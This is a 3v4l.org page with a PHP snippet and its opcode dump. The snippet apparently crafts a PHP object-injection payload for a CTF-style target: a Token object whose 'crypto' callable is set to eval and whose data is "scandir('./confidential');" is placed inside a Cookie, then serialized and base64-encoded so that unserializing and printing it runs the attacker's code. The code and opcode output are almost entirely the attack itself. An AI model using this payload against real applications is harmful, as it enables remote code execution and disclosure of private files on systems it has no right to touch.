3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Cookie{ public $username; public $coffee; public $token; public function __toString() { return "<p> Hey ".$this->username."! </p><br>" . "<p> Here is your token for a free ". $this->coffee."!!</p><p>".$this->token."</p><p>Give us this token at your next visit!</p>"; } } class Token{ public $coffee; public $username; public function __construct($coffee, $username){ $this->coffee = (string)$coffee; $this->username = (string)$username; $this->crypto = "crc32"; } public function __toString(){ $x = $this->crypto; return substr(md5(rand($x($this->coffee . $this->username), 0xc0ffee)), 10); } } $c = new Cookie(); $c->username = "abc"; $c->coffee = "def"; $t = new Token("scandir('./confidential');", ""); $t->crypto = "eval"; $c->token = $t; $s = serialize($c); echo base64_encode($s); echo "Komtie"; $c2 = unserialize($s); echo "Cookie.toString: " . $c;
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/s0cp3
function name:  (null)
number of ops:  34
compiled vars:  !0 = $c, !1 = $t, !2 = $s, !3 = $c2
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   DECLARE_CLASS                                            'cookie'
   13     1        DECLARE_CLASS                                            'token'
   30     2        NEW                                              $4      'Cookie'
          3        DO_FCALL                                      0          
          4        ASSIGN                                                   !0, $4
   31     5        ASSIGN_OBJ                                               !0, 'username'
          6        OP_DATA                                                  'abc'
   32     7        ASSIGN_OBJ                                               !0, 'coffee'
          8        OP_DATA                                                  'def'
   33     9        NEW                                              $9      'Token'
         10        SEND_VAL_EX                                              'scandir%28%27.%2Fconfidential%27%29%3B'
         11        SEND_VAL_EX                                              ''
         12        DO_FCALL                                      0          
         13        ASSIGN                                                   !1, $9
   34    14        ASSIGN_OBJ                                               !1, 'crypto'
         15        OP_DATA                                                  'eval'
   35    16        ASSIGN_OBJ                                               !0, 'token'
         17        OP_DATA                                                  !1
   37    18        INIT_FCALL                                               'serialize'
         19        SEND_VAR                                                 !0
         20        DO_ICALL                                         $14     
         21        ASSIGN                                                   !2, $14
   38    22        INIT_FCALL                                               'base64_encode'
         23        SEND_VAR                                                 !2
         24        DO_ICALL                                         $16     
         25        ECHO                                                     $16
   40    26        ECHO                                                     'Komtie'
   41    27        INIT_FCALL                                               'unserialize'
         28        SEND_VAR                                                 !2
         29        DO_ICALL                                         $17     
         30        ASSIGN                                                   !3, $17
   42    31        CONCAT                                           ~19     'Cookie.toString%3A+', !0
         32        ECHO                                                     ~19
         33      > RETURN                                                   1

Class Cookie:
Function __tostring:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/s0cp3
function name:  __toString
number of ops:  14
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    9     0  E >   FETCH_OBJ_R                                      ~0      'username'
          1        CONCAT                                           ~1      '%3Cp%3E+Hey+', ~0
          2        CONCAT                                           ~2      ~1, '%21+%3C%2Fp%3E%3Cbr%3E'
   10     3        CONCAT                                           ~3      ~2, '%3Cp%3E+Here+is+your+token+for+a+free+'
          4        FETCH_OBJ_R                                      ~4      'coffee'
          5        CONCAT                                           ~5      ~3, ~4
          6        CONCAT                                           ~6      ~5, '%21%21%3C%2Fp%3E%3Cp%3E'
          7        FETCH_OBJ_R                                      ~7      'token'
          8        CONCAT                                           ~8      ~6, ~7
          9        CONCAT                                           ~9      ~8, '%3C%2Fp%3E%3Cp%3EGive+us+this+token+at+your+next+visit%21%3C%2Fp%3E'
         10        VERIFY_RETURN_TYPE                                       ~9
         11      > RETURN                                                   ~9
   11    12*       VERIFY_RETURN_TYPE                                       
         13*     > RETURN                                                   null

End of function __tostring

End of class Cookie.

Class Token:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/s0cp3
function name:  __construct
number of ops:  11
compiled vars:  !0 = $coffee, !1 = $username
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   18     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   19     2        CAST                                          6  ~3      !0
          3        ASSIGN_OBJ                                               'coffee'
          4        OP_DATA                                                  ~3
   20     5        CAST                                          6  ~5      !1
          6        ASSIGN_OBJ                                               'username'
          7        OP_DATA                                                  ~5
   21     8        ASSIGN_OBJ                                               'crypto'
          9        OP_DATA                                                  'crc32'
   22    10      > RETURN                                                   null

End of function __construct

Function __tostring:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/s0cp3
function name:  __toString
number of ops:  23
compiled vars:  !0 = $x
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   25     0  E >   FETCH_OBJ_R                                      ~1      'crypto'
          1        ASSIGN                                                   !0, ~1
   26     2        INIT_FCALL                                               'substr'
          3        INIT_FCALL                                               'md5'
          4        INIT_FCALL                                               'rand'
          5        INIT_DYNAMIC_CALL                                        !0
          6        FETCH_OBJ_R                                      ~3      'coffee'
          7        FETCH_OBJ_R                                      ~4      'username'
          8        CONCAT                                           ~5      ~3, ~4
          9        SEND_VAL_EX                                              ~5
         10        DO_FCALL                                      0  $6      
         11        SEND_VAR                                                 $6
         12        SEND_VAL                                                 12648430
         13        DO_ICALL                                         $7      
         14        SEND_VAR                                                 $7
         15        DO_ICALL                                         $8      
         16        SEND_VAR                                                 $8
         17        SEND_VAL                                                 10
         18        DO_ICALL                                         $9      
         19        VERIFY_RETURN_TYPE                                       $9
         20      > RETURN                                                   $9
   27    21*       VERIFY_RETURN_TYPE                                       
         22*     > RETURN                                                   null

End of function __tostring

End of class Token.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
157.72 ms | 1409 KiB | 25 Q